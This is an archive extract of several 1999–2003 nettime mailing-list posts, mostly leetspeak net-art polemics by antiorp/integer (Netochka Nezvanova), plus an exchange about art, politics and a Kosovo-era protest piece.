send requests to <nettime {AT} desk.l>, \n    subject: <orp>. cheers. --t. 'lo-tek fasc!st' byfield]\n\n\n b!t revolut!on :: part 0+5 :: enkapzulat!on\n\n   -\n     -\n      -\n            elektronik mail ....___ may kontakt solaris {AT} m9ndfukc.com\n      -\n     -\n   -\n\n      rebirth of the epistolarian tradition - temporarily vanished during\n      the 2oth century due to first stage of tele-communication:\n      the tele-phone - direct speech takes the place of written communication.\n\n      simultaneously - birth of the plural communication\n      which is the real revolution life forms are living.\n\n      expansion of symmetry implied by democracy\n      [implied - an actual democracy + not one konglomerate of life forms\n      subjugating the liberty of additional life forms]\n      which appeals a new acting to maintain the dissymmetry of the\nelective calling\n      by a personal communication - synchronically dissymmetrical to\npromote the possible\n      of a diachronic conquest of symmetry by the subject of the speech in\nthe time\n      of science.\n\n      deeply linked with the `dit-mansion` of the significant promoted by\nan epigon\n      of sigmund freud - special strukture that works out of imagination\nbut on it.\n\n\n\n   -\n      -\n          -   s o l a r ! z _____..... m9ndfukc.com\n      -\n   -\n\n\n\n   this presentation is a protest against the incompetent korporate fascist\n   konglome.ratz. controlling\n   the - mcgill maxforum                  <chris {AT} MUSIC.MCGILL.CA>   +\n   the - XCHANGE {AT} re-lab.net               <XCHANGE {AT} re-lab.net>        +\n   the - net.ti.me forum                  <byfield {AT} panix.com>           +\n   against korporate fascist life forms and konglome.ratz everwhere+1\n   routinely exploiting additional life forms - impeding natural selection\n   hence populating the gene pool with inferior data.\n\n\n   - - -\n   - 4 -\n   - - -\n\n\n\n\n              -0                             ]\n              /       0-    zv3!t3[z]!zt3m  | | m9ndfukc.macht.fre!\n            -0       /                       [\n              \\    -0\n               0-\n\n          3.8232421875        d       m\n                 0.400390625     a       a\n            4.07196044921875        t       r\n              7.598876953125           a       g\n                    2.04864501953125      g       a\n                    8.675537109375            r      t\n                              0.58074951171875   a      a\n                            6.7877197265625         m      d\n\n-\n-\n-\n\nwhen\n     an\n        application\n     sends\ndata\n     utilizing\ntcp\n    the data is sent down the protokol stack through each layer\nuntil it is sent as a stream of bits across the network.\neach layer adds information to the data by prepending headers\nand sometimes adding trailer information to the data that it receives.\nthe unit of data that tcp sends to the ip is called a tcp segment.\nthe unit of data that ip sends to the network interface is called an ip\ndatagram.\nthe stream of bits that flows across the ethernet is called a frame.\n\nthe capital I Internet is an internet that spans the globe and\nconsists of more than 10000 networks and more than 1 million computers\n\nthere is a limit on the size of the frame for both\nethernet encapsulation and 802.3 encapsulation\n\n\nshall be addressing the limit on the size of the frame\nfor the human m9nd kontainer encapsulation\n\n\n-\n      -\n             -\n\n  completed and prezented in [model citizen time] - 1999 a.d.\n\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n\n  may kontakt solaris {AT} m9ndfukc.com to obtain this document\n\n-\n-\n-\n\nip - the internet protokol provides an unreliable connectionless datagram\ndelivery service.\nwhen something goes wrong such as a router running out of buffers ip has\na simple error handling algorithm - throw away the datagram\nand try to send an icmp message back to the source.\n\n-\n-\n-\n\n\n-\n-\n-\n\navoiding an unbearable silence, the four layers, as the eye, are attracted\nto motion.\nthe protokol suite vibrates as violoncello strings - an interaction that\ncauses a quiver, a responsive tone of harmonic complexity.\nthe articulation of subject interaction as expression\ndetermines the value of its output packets, to be commodified and replicated,\nto extricate the extraneous.\n\nresonance and intention co-efficients in the valuing of output;\nintention of information, a listening to the production matrix,\na reaction and refinement of resultant action.\nthe output as composition, as stratification of data.\n\nthe processing of resultant information - as coalescence of form and dynamic.\nharmonic - as the object to be construed as manipulated and comprehended\n\nas validation of the complexity of these inherent values, the recognition of\nthis desiring machine as producer of commodity becomes the binary instrument as\nprosthetic to articulation - extensions of possible formations - a clarity\nof expression.\nas a technological boundary to be surpassed, the recognition of this intention\ndemands a discernment of the event_before.\nto proceed as a non_event, the event_before must be reformulated in context\nand expression.\nthe haze of information surrounding this event_before stratifies as intention\noscillates and the existing data is recognized and simultaneously eliminated\nas effect and replaced by the non_event.\n\nhence an increase in output fails to\nresult in the congesture of end systems with data structures.\nat computation of intention information dissipates, a vacuum arises but as\nthe instrument\nis seen as producer it is spontaneously and erroneously filled at next\nintention\nwith equivalence of unstratified data.\nconstituting the instrument it is of significance as only a silent object.\n\nit is the potential of the object which holds value;\nonce commodified all potential is dissolved and with interaction\nvalue is diffused in the clarification of the object's intention.\n\n\n-\n-  tra!ler enkapzulat!on\n-\n\n\n\n1.21.99  Lycos Inc. <LCOS.O> up 12 1/2 on speculation of potential partners.\nnasdaq down dramatically. internet stocks down dramatically.\n\n\n 01/20 21:58 Lycos in talks with potential partners\n\n By Nicole Volpe\n\n NEW YORK, Jan 20 (Reuters) - Amid a wave of consolidations sweeping the\nInternet media business, Internet\n media company Lycos Inc. <LCOS.O> said Wednesday it was in talks with\npotential partners, but declined to\n comment on speculation that the partners included German media company\nBertelsmann <BTGGg.F>.\n\n\n\n-\n-\n-\n\nthat is to say. model citizens believe they understand. yet they do not.\nthey do not understand they fail to understand.\ntheir potential nil their value defined as an aggregation of nil objects\n\nzymosis\n\n\n\\\\\n\n\nd!fferent!al d.ka! on 0+1 dezolate plane ov debr!z\nccccellofane spasz\n!nhab!td w!th !mmater!al 4rmz enkloz!ng\nkomplecx !nternl referentz\nccccel-konzeptual!szd 4mat!onz dzat =\nflatl! abrogate object!v anal!s!z\n\n-\n-\n-\n\nrelat!v!zt!kc effektz bg!n zett!ng !n\n\n-\n-\n-\n\nalternat!v h!ztor!ez + parallel un!versez\n\n- art!kl nummer 0+28. anti[c]m9ndfukc.com\nma! kontakt m9ndfukc_arkiv {AT} m9ndfukc.com 4 komplet l!zt!ng [x]\n\n  <\n     0\\   zve!te[z]!ztem\n    \\1\n        >\n\n\n\n\n\n\n  completed and prezented in [model citizen time] - 1999 a.d.\n\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n\n  may kontakt solaris {AT} m9ndfukc.com to obtain this document\n\n\n\n  related data :\n\n-  b!t revolut!on : : part _ 0+0\n   web :    http://m9ndfukc.com/dfk_okkupation/bit_revolution\n   email :  bit_revolution_0+0 {AT} m9ndfukc.com\n\n-  b!t revolut!on : : part _ 0+1\n   web :    http://m9ndfukc.com/dfk_okkupation/bit_revolution\n   email :  bit_revolution_0+1 {AT} m9ndfukc.com\n\n-  b!t revolut!on : : part _ 0+2\n   web :    http://m9ndfukc.com/dfk_okkupation/bit_revolution\n   email :  bit_revolution_0+2 {AT} m9ndfukc.com\n\n-  b!t revolut!on : : part _ 0+3\n   web :    http://m9ndfukc.com/dfk_okkupation/bit_revolution\n   email :  bit_revolution_0+3 {AT} m9ndfukc.com\n\n-  b!t revolut!on : : part _ 0+4\n   web :    http://m9ndfukc.com/dfk_okkupation/bit_revolution\n   email :  bit_revolution_0+4 {AT} m9ndfukc.com\n\n\n\n\n-  m9ndfukc.kinematek [film module]\n   web : avec music :  http://m9ndfukc.com/kinematek\n   web : sans music :  http://m9ndfukc.com/kinematek/zttz\n\n-  m9ndfukc.kinematek.reference\n   email : kinematek_ref {AT} m9ndfukc.com\n\n-  m9ndfukc.kinematek current film scenario [100k+]\n   email : kinematek_kurrent {AT} m9ndfukc.com\n\n\n\n\n-  m9ndfukc.list\n   email : lizt00 {AT} m9ndfukc.com\n\n-  m9ndfukc.propaganda\n   web : http://m9ndfukc.com/propaganda\n   web : pixelz :   http://m9ndfukc.com/dir_kontentz/_propaganda.html\n   email : smtp55o {AT} m9ndfukc.com\n\n-  arkive [1/n]\n   web : http://m9ndfukc.com/dir_kontentz/_botz.html\n\n-  =cw4t7abs_net_action\n   web : http://194.19.130.194/=cw4t7abs/0f0003/ztpd/=cw4t7abs_net_action.html\n\n-  addtl data\n   email : lizt00 {AT} m9ndfukc.com\n\n\n  .\n    .\n       .\n          .\n             .\n                .\n                   .\n                       .\n                       .\n                       .\n                       .\n                       .\n                         .\n                            .\n                               .\n                                  .\n                                  .\n                                  .\n                                  .\n                                 .\n                                .\n                               .\n                              .\n                             .\n                            .\n                           .\n                          .\n                         .\n                        .\n                       .\n                      .\n                     .\n                    .\n                   .\n                  .\n                 .\n                .\n               .\n              .\n             .\n            .\n           .\n          .\n         .\n        .\n       .\n      .\n     .\n    .\n   .\n  .\n .\n\n .\n  .\n   .\n    .\n     .\n      .\n       .\n        .\n         .\nthe study of linguistic history is of the utmost importance\nto the grammarian - it broadens its mind and tends to eliminate\nthat tendency to reprobation which in the besetting sin of the non\nhistorian grammarian - for the history of languages shows that changes\nhave constantly taken place in the past and that what was bad grammar\nin one period may become good grammar !n dze neczt\n- dze f!lozof! ov gramr oTTo jesperzen\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "id": "00068",
                "date": "Fri, 22 Jan 1999 06:56:03 -0600",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199901221654.RAA19378 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9901/msg00068.html",
                "list": "nettime_l",
                "author_name": "f1f0",
                "subject": "<nettime> b!t revolut!on :: part 0+5 :: enkapzulat!on :: s o l a r ! z _____..... m9ndfukc.com"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00028",
                "content": "\n>\n\nI've known of antiorp for many years (she used to \n>infect some lists I was on at the time, circa \u015294-96), \n\nnn.z shar!ng kop!ouz laughtr ovr u guezd !t - telefon\nabout dze forthkom!ng dekade an!verzar!\n\n4uard momvnt ov un!td human!t!\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 7 Mar 2003 04:23:05 +0100 (CET)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200303071029.h27ATO703700 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00028.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> \\\\ !nternet refr!gertr"
            },
            {
                "content-type": "text/plai",
                "from": "josephine bosma <jesis@xs4all.nl>",
                "content": ">>the anti NATO protest by 'antiorp' during Kosovo war\n>>(most compact example of this artist's radicality)\n>Yes, how very radical of them to support the 'ethnic cleansing' of the\n>Kosovars. I'm sure that Slobo and Mira were very grateful for their\n>artistic intervention. What next: a cool 'n' trendy website for the French\n>National Front or the German neo-nazis?!\n\n>Later,\n\n>Richard\n\nBecause nettime-bold had a bad time again the last few weeks, I did not\nget any mails from nettime for a while. Hence my late reaction to\nRichard Barbrooks 'funny' remark quoted above. \n\nEventhough I agree that most of the artworld has neglected the social\nand political aspects of the making and reception of art for a long time\n(and this of course still happens), I find the tendency in certain\nEuropean media scenes to look at art from an ideological point of view\nvery dangerous. The quote above suggests antiorp supported the ethnic\ncleansing of the Kosovars. That is pure 'bartalk', talk for over a few\nbeers, in my opinion. Artists have often reacted to blunt military\naction from superpowers without taking sides. I find it totally\ninappropriate to look at such work as if it represents political action,\nand to judge it as such. It is criticism at the most, or an addition or\ninitiative to/for a discussion. That does not mean of course it is not\nvaluable or that it should not be taken seriously. Art is a difficult\nbut stimulating part of society. Without it there is no life as far as I\nsee it, only vegetating.\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00109",
                "date": "Thu, 28 Sep 2000 12:08:12 +0200",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "39D3188C.A3F1151B@xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0009/msg00109.html",
                "list": "nettime_bold",
                "author_name": "josephine bosma",
                "subject": "[Nettime-bold] art and politics"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "id": "00110",
                "content": "\n\n>>>the anti NATO protest by 'antiorp' during Kosovo war\n>>>(most compact example of this artist's radicality)\n>>\n>>Yes, how very radical of them to support the 'ethnic cleansing' of the\n>>Kosovars. I'm sure that Slobo and Mira were very grateful for their\n>>artistic intervention. \n>\n>\n>What next: a cool 'n' trendy website for the French\n>>National Front or the German neo-nazis?!\n\n\n\nNetochka Nezvanova - simply SUPERIOR. \ndu != may kompete.\n\n\n\n>>Later,\n>\n>>Richard\n\n\n\ni like stepping on bugs.\n\nstep step - on the entire western `inter.attak` video industrie - http://www.eusocial.com\n\nhttp://eusocial.com/nato.0+55+3d/242.055.propaganda.html\n\n\n\n\n\n-\n\nhttp://eusocial.com/nato.0+55+3d/242.transfektion.v2.html\n\nConsider : NATO.055 is syntactic - it has been given life by 01 prezent-22 2x life objekt         \n            \n           Adobe Premiere. After Effects. Steim Image/ine are authored by amalgams of \n           xy life forms whose idea of progress is employment.\n\n\n           Konglomerates have taken humans as far as they can. \n\n           Copernicus moved humankind off the center stage of the physical universe\n           Netochka Nezvanova moved konglomerates off the center of the human ekonomie\n\n\n\n\nnato.0+55 was the logikal result of an intense migraine\nfacilitated by the nettime male fascism which at the time was fully loaded\n+ western \\ nato fascism.\n\n\n\n\nnn adores stepping on bugs. 01 sanitation is most\ndefinitely desirable.\n\nthat you operate in packs and herds is indicative you are unsanitary.\nnn adores korporat warfare.  lets 242.play.\n\n\ni want to rent you\n\n\n\n\n\n\n\n>Because nettime-bold had a bad time again the last few weeks, I did not\n>get any mails from nettime for a while. Hence my late reaction to\n>Richard Barbrooks 'funny' remark quoted above. \n>\n>Eventhough I agree that most of the artworld has neglected the social\n>and political aspects of the making and reception of art for a long time\n>(and this of course still happens), I find the tendency in certain\n>European media scenes to look at art from an ideological point of view\n>very dangerous. The quote above suggests antiorp supported the ethnic\n>cleansing of the Kosovars. That is pure 'bartalk', \n>talk for over a few\n>beers, in my opinion.\n\n\njosephine bosma \\ Organization: jesis  \ndu = heel lekker\n\n\n>Artists have often reacted to blunt military\n>action from superpowers without taking sides. I find it totally\n>inappropriate to look at such work as if it represents political action,\n>and to judge it as such. It is criticism at the most, or an addition or\n>initiative to/for a discussion. That does not mean of course it is not\n>valuable or that it should not be taken seriously. Art is a difficult\n>but stimulating part of society. Without it there is no life as far as I\n>see it, only vegetating.\n\n\n\nall artuorkx  < nature\n01 art!zt = !nfer!or 2 dze !nzektz !n dze gardn\n\n01 art!zt < 01 mother\n\n\nletz g!v l!f\n\n\n\n\n\n\n\n\ni am a cyberbotanist\n\nas the communists say komrade lovers for your health's sake \npollinate freely.\n\n\n\n\n-\nnn - 01 eksku!z!t b!o.zkulptur\n\n\n\n\n      molekul 2 pre.kurzr. zuear. zuear. ! zuear. ! zuear.\n      nouakokakolamomentmal _\\0- therapeut!kc klon!ng\n\n\n      do you want your software designs to end up in cardbored boxes\n      or G3O-Z!NKRONOUS 0RB!T +?            \n                                                    !\n! \n                                !                    !                                             ! \n                                 !                     !                                         ! \n                                  !                      !                                     ! \n                                   !                       !                                 ! \n                                    !                        !                             ! \n                                     !                         !                         ! \n                                      !                          !                     ! \n                                       !                           !                 ! \n                                        !                            !             ! \n                                         !                             !         ! \n                                          !                              !     ! \n                                           l                               l l \n                                          l                              l     l \n                                         l                             l         l \n                                        l                            l             l \n                                       l                           l                 l \n                                      l                          l                     l \n                                     l                         l                         l \n                                    l                        l                             l \n                                   l                       l                                 l \n                                  l                      l                                     l \n                                 l                     l                                         l \n                                l                    l                                             l \n                               l                   l    \n\n\n\n\n\n\n        : http://www.membank.org/0000/0000.html\n\n\n\n        : Max Plank Inztitut 4 Ordnung \\+\\ Disziplin\n\n        : Uber die Konztituzie der Materie  [c]ccp\n        : Netochka Nezvanova - oestrus.eusocial.com\n\n                     __   __\n            ________/ /  /_/\n           /___  __  /  __    \n              / /_/ /__/ /__\n             / ____________/\n            /_/\n\n\n\n\n          dze pa!r!ng ov homologouz kromozomez one 4rom each odr prnt \n        dur!ng me!os!z\n          i cannot be bothered.i cannot be bothered.surrender your pattent.\n\n\n\n                                n  \n\n                                    3\n\n                                !\n                                    n\n\ntristesse like caress only heavier          \n\n\n\n\n\n                       n\n                                           n      n\n                    \n                                     n\n                           n      n\n                                                v3kt0r.r2!n - ztra!ng !n 2 dze z!ngular!t!\n\n\n\n-\n\nNetochka Nezvanova - simply SUPERIOR. \n^Pf^P^P^P3.MASCHIN3NKUNST\n@www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t^P      \n                                                       |       >\n                                                       e\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "date": "Thu, 28 Sep 2000 13:16:14 +0200",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "200009281116.NAA04649@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0009/msg00110.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] Re: art and politics"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "content": "\n\n- organ!szd \\+\\ z!ztemat!k. phaten!ng ov phatland l!f 4rmz\n  study into konglomeratz + their online activities and habits.\n  [ And if you gaze for long into an abyss, the abyss gazes also into you.\n    -Friedrich Nietzsche ]\n\n\nIn the teenage market, 79 percent of children aged 12 through 18 use the Net \nto play games, making it second in popularity only to email. \nIn addition, while playing games online, 69 percent of teen respondents \nsaid they like to snack, according to the survey.\n\nReleased by Nabisco in conjunction with the launch of its\n        , the survey asked questions of more than 1,000 adults and\n1,000 teens to study their online activities and habits.\nNabisco         is a gaming and entertainment site developed by food\nretailer Nabisco, known for its Oreo cookies and Ritz crackers, and\nSkyworks Technologies, a maker of Net applications for interactive\nmarketing and gaming.\n\n\n-\nNabisco : neu mor eff!z!ent ua!z ov konvert!ng people !n2 `game`\n\n= 40 prozent ov amer!kan\\phatland ch!ldrn = p h a t\naz !nd!katd b! dze u.s.dept ov murdr kultr\n= o b e s e <=> murdr <=> letharg!k l!f zt!l\nletharg!k l!f zt!l = kondusz!v 2 \n\n   Peter Castine : \"In other words, six million murdered Jews \n   (and never mind the Poles, Russians, and other Slavs, the homosexuals,\n    the gypsies) is `just a word`\"  \n   [du = prfr 13. kompresz!on = !nd!kat!v ov !ntel!gensz 4\n   !t furdzr abztraktz truth. dusz truth = 1 zubt!l l!e. dusz 2 l!e = !ntel!gent\n   dusz dze futur = 1 l!e]\n\n\nIn other words\nNabisco Oreo cookies and Ritz crackers uze <=> tabako + alkohol + f!rearmz uze\n+ Skyworks Technologies = organ!szd + interactive ch!ld uze\n\n\n \\\n phatland ::: > A000001\n   \\\n\n\n\n-\nNabisco  - Nab.is.co. \nNabisco  - Na.bisco.[ti]\nNabisco  - Na.bis.co.\nNabisco  - N.abis.co.\n\n\nanimals slaughtered in the u.s. during 1998:\n\ncows                35.6 million\ncalves              1.50 million \nhogs                101 million\nsheep               3.86 million \nchicken             7.76 billion\nturkeys             284 million     \n       \nsource: u.s department of murderculture\n\n\nperm!t zom1 2 aku!re 1 perm!t zom1 2 vom!t zent!ment\nperm!t zom1 2 aku!re 1 perm!t zom1 2 N.abis.co zent!ment\n\n   And if you gaze for long into an abyss, the abyss gazes also into you.\n   -Friedrich Nietzsche ]\n\ngaze into me - http://www.csun.edu/~vcspc005/advertis.html\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00108",
                "date": "Sat, 20 Nov 1999 12:39:06 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199911202046.PAA15202 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00108.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> biscuits"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00091",
                "content": "\n         m\u0010dulez . br3vr\u0010b\u0010t-\u0010 . \u0010m d!z!pl!n + pun!sch\n\nRT[an!]MALe\n>yeah, of course we're all the same, of course.\n\n= ma! evakuate lo.tekk fasc!zt male mar!onet\n\n= etoy <=> etoys = 0+0 preteczt 4 0+1 d!szkord.\ntaz!tl! azum!ng 0+1 falsz asz!metr!e.\n= etoy + etoys + rtmark = amalgamat\n= 1 luvl! z!metr!e. zevrl !nzektz + zp!derz\n= demonztrat dze fenomen auss!.\n\n\n>Bringing IT to YOU.\n\n\nja+vohl. und na+ja. ! = reuard ur fasc!zt male temptaz!on.\netoy = etoys = rtmark - br!ng!ng addtl bubl h!erark!kl \nkorporat fasc!zt refusz 2 dze m9ndfukd maSSes. \n[= dze maSSes <=> dog l!ke kond!z!on - g\u0010d]\n\nunl!ke dze femalez e!eng dzm \n! = refrasz ur hand! kap - c!ao male !mbez!lz\n\n\n-\nm9ndfukc.macht.ganz.gluckl!ch+fre! _||-\n\n\n\n\\+\\ konzp!rass!_ov-ekualz +_ zlouch!ng 2uardz gomorrah\n\n\n k\u0010ntent !d :\n\n3ntrk\u0010d3rez\u0010rsz.!=z2c!ja  \n_________ ________ ______\n\n  v knj!g! k! zem jo objav!la leta 0+1997 z \n       nazlovom rekonztru!rana f!kc!ja: nov! med!j!.\n                               [v!deo] umetnozt. poztsoz!al!zem !n retroavantgarda\n               !n podnazlovom teor!ja. pol!t!ka. eztet!ka: 0+1985-97 \n  zem na kratko razv!la pojmovanje da je danez ob koncu \n                        t!socletja mogoce opredel!t! dve matr!c! akt!vn!h \n        dejavn!kov v razmerju do vzhodne !n zahodne evrope \n                        ter realnozt! nov!h med!jev: namrec zahodnoevropzko \n        matr!co druzbenega !zmecka !n vzhodnoevropzko matr!co posast!\n  m.grz!n!c _//\n\n\n\n\n|| m9ndfukc.macht.fre!\n\n\n\n  .\n    .\n       .\n          .\n             .\n                .\n                   .\n                       .\n                       .\n                       .\n                       .\n                       .\n                         .\n                            .\n                               .\n                                  .\n                                  .\n                                  .\n                                  .\n                                 .\n                                .\n                               .\n                              .\n                             .\n                            .\n                           .\n                          .\n                         .  \n                        . \n                       . \n                      .\n                     .\n                    .\n                   .\n                  .\n                 .\n                .  \n               .\n              .\n             .\n            .\n           .\n          .\n         .\n        .\n       .\n      .\n     .\n    .\n   .\n  .\n .\n \n .\n  .\n   .\n    .\n     .\n      .\n       .\n        .\n         .\n\n\n;20\n\n\ndze benef!z!ar!ez ov dze elekz!on prozezsz \naz!de 4rom dze w!nn!ng kand!datez = dze polzterz. \ndze advert!z!ng agensz!ez wh!ch = dez!gn dze attak adz \ndze netverk konglomeratz wh!ch = broadkazt dze attak adz \ndze korporatz!onz dzat = hav zpent hundrdz ov m!ll!onz ov amerkan dolarz \n2 f!nansz dze kand!datez' attak.\n\ndze elektorl prozesz != prov!d 1 forum 4 dze d!zkusz!on ov dze pol!t!kl + zoz!al agenda.\ndze elektorl prozesz = 1 !ntelekzual! + moral! bankrupt fasch!on galla zpektakl.\n\n!t = 1 z!ztm sansz !ssuez. zansz !deaz. sansz programz.\ndze elktorl prozesz = ztr!pd ov all demokrat!k kontent.\n\ndze pr!nz!pl wh!ch = governsz dze elektorl prosesz = dzat ov eczluz!on radzr dzn !nkluz!on.\n!tz zkope = 2 l!m!t dze posz!bl range ov !deaz wh!ch = kan b plaszd b4 dze publ!k.\n\n!tz abzurd!t! = appal!ng 2 an! funkz!on!ng m9nd konta!nr.\n\n\n-\n-\n-\n\n\nFrom: McGill University Max List Owner\n\n\"The FINAL word\"\n\nFrom: Adolf Hitler\n\n\"The FINAL solution\"\n\nFrom: Etoy\n\n\"The FUCKING solution\"\n\nFrom: Etoys\n\n\"The FUCKING Etoy\"\n\nFrom: RTMark\n\n\"Bringing IT to YOU.\"\n\n\nheaven listen: earth lend an ear: the lords have spoken:\n\nthus cried the prophets when their eyes gleaming and mouths foaming \nthey proclaimed punishment to liars and apostates for their sins. \nthus spoke the church in the middle ages and mankind prostrate with fear \ncrossed itself at the voice of the pontiff and the injunctions of his bishops.\n\n_ ignorance or impotence _ \n\n\nwe are driven to this. we are determined to go on with this agitation.\nit is our duty to make this a better place for women. - emmeline pankhurst\n\nthe new ideologists of inequality may wish to komprehend\nthe fruits of the planet belong to all + the planet belongs to no one\n\npatternz emerge out of low level randomness\nthe study of self organizing systems \n= in a sense the related opposite of the study of chaos.\n\nin self organizing systems orderly patterns \nemerge out of low level randomness.\nin chaotic systems unpredictable behaviour \nemerges out of lower level deterministic rules.\n\ninequality = conducive to chaos\n\n\n-\n-\n-\n\nThe music of the century we will soon be leaving is certainly not ivory tower music. \nFree from ideology and dogma and free from the iron grip of the market \n(which has rendered most pop music harmless), it displays the same moving\nlaceration,\n                     blinding playfulness, \n\n         calm beauty, deep despair,\n\n  shocking ugliness,\n                     disturbing mysteriousness, \n         hilarious joyfulness \n      and\n                transporting\n                     vitality, \n\nin short the same maddening diversity as the  \n\n    general history\n \n                    of this century.'\n\n\nnoztalg!a 4 1 akadem!e : perm!t 1 rever!e\n\ndetektion of onset + offset asynchrony in multikomponent komplexes.\ndiskriminating standard stimulus from signal stimulus\naudibility as crisis and kommodification in 8'|sin.x(2^n)\n\neverdz!ng wh!ch = permeatez human zoz!et! = !nkurz kompresz!on + abrev!az!on\n\ndata = korekt : humanz = !nkorekt\n\n  .\n    .\n       .\n          .\n             .\n                .\n                   .\n                       .\n                       .\n                       .\n                       .\n                       .\n                         .\n                            .\n                               .\n                                  .\n                                  .\n                                  .\n                                  .\n                                 .\n                                .\n                               .\n                              .\n                             .\n                            .\n                           .\n                          .\n                         .  \n                        . \n                       . \n                      .\n                     .\n                    .\n                   .\n                  .\n                 .\n                .  \n               .\n              .\n             .\n            .\n           .\n          .\n         .\n        .\n       .\n      .\n     .\n    .\n   .\n  .\n .\n \n .\n  .\n   .\n    .\n     .\n      .\n       .\n        .\n         .\n\n\nallo. allo. allo.\n\ndze kurta!n dezcendz. ever!dz!ng endz.\n\n\n;20\n\n      k  (!)  k\n                       m\u0010rt :: b!t/[\u017d]ev\u0010luz!\u0010n\n   __ o __.__ o __  \n\n \n\nokz!dent-- male fasc!zm--\nzom det zka vara ::::::::\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 13 Dec 1999 00:11:07 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199912122315.SAA32044 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00091.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> /\\/ d3k\u0010nztrukz!on \u0010v relevant kontr\u0010l"
            },
            {
                "id": "00193",
                "content": "\n>hey\n\n!\n\n>which version of NATO should I get if I want the one with ALL the features?\n\nthe most expensive 1!!\n\n\n>where are the tutorials located?\n\n\nin your perzonal m9nd kontainer!!!\n\nAccording to the standpoint mathematicians call Platonism, we do not \ncreate  the mental objects we speak of.  Instead we find them.  \nAll thoughts are already present (Godel 1940). \n\n[netochka nezvanova entrd uen godel = ecz!td!!!!]\n\n\"For 99.9 percent of the time since our species came to be we were hunters \nand foragers, wanderers on the savannas and the steppes. There were no \nborder guards then, no customs officials.\"  (Sagan 1994)\n\n\nverstehtz du!!!!!\n\nhttp://www.m9ndfukc.org/data/t!pe.t!pe/Nebula.m81||USISK.sit.hqx\n\n\n\n\n>danke!\n\n\nganz gluckl!ch. ja. b!n !ch auch.  z n u r k - reboot m!\n\n\n\n>KIM\n\no\n\n\n\n\nalzo >KIM = auear du = ur!te zuf!z!entl! `ter!bl` \n[b! m! ztandardz u!ch = SUPERIOR 2 cmj]\ndzat dze data = akzeptd 4 komputr muz!k jurnal. \n\n= !f !ntrztd = 01 art!kl4 komputr muz!k jurnal\napropoz nato.0+55 modular = rema!nz 2 b \nt!pd = m! art!kl ud nvr b akzptd due 2 \n= 2 luvl! 4 dze m9nd konta!nrz ov somnolent malez.\n\nallora. c!ao!!!!\n\n\n\n\n\n>\"the smooth always posseses a greater power of deterritorialization\n>  than the striated.\"\n>    - Deleuze & Guattari\n\n\n\n\n01 life objekt at : Rhode Island School of Design UsA typed\n\nYour work. This demands all i have to offer, it provokes me and i paint,\ni write, i love.  As 1 human data display of correct behavior you demand\nan adequacy that is > than most are capable of willing.  I keep a slide\nshow of your kinematic images running often in my studio while i work.\nwhat you do with cathode rays is incredible.  If you had a billboard\ntype display to play with as mural - because your images need pixels -\nbut how much adoration can you stand?   everyone dies, netochka, who\nmanages to exist as my eyes read your work.   you would join:\n\nWilhelm Reich\n\nWilliam Burroughs\n\nDerek Jarman\n\nGilles Deleuze\n\nElias Canetti\n\nGuy Debord\n\nthere are a couple more, but i discovered their work and most died soon\nafter, except Wilhelm Reich whose end was just such a terrifying\nspectacle of human cruelty.  Coldness and cruelty.  You see, you are, if\nyou are (0+1) female then you dispell the myth i find often told by\neuropean males, the misogeny that Cannetti's \"Auto de F\u00e9\" was concerned\nwith and that that beautiful film \"Romance\", contemporary french film,\nwhat human error/straitjacket/parachute 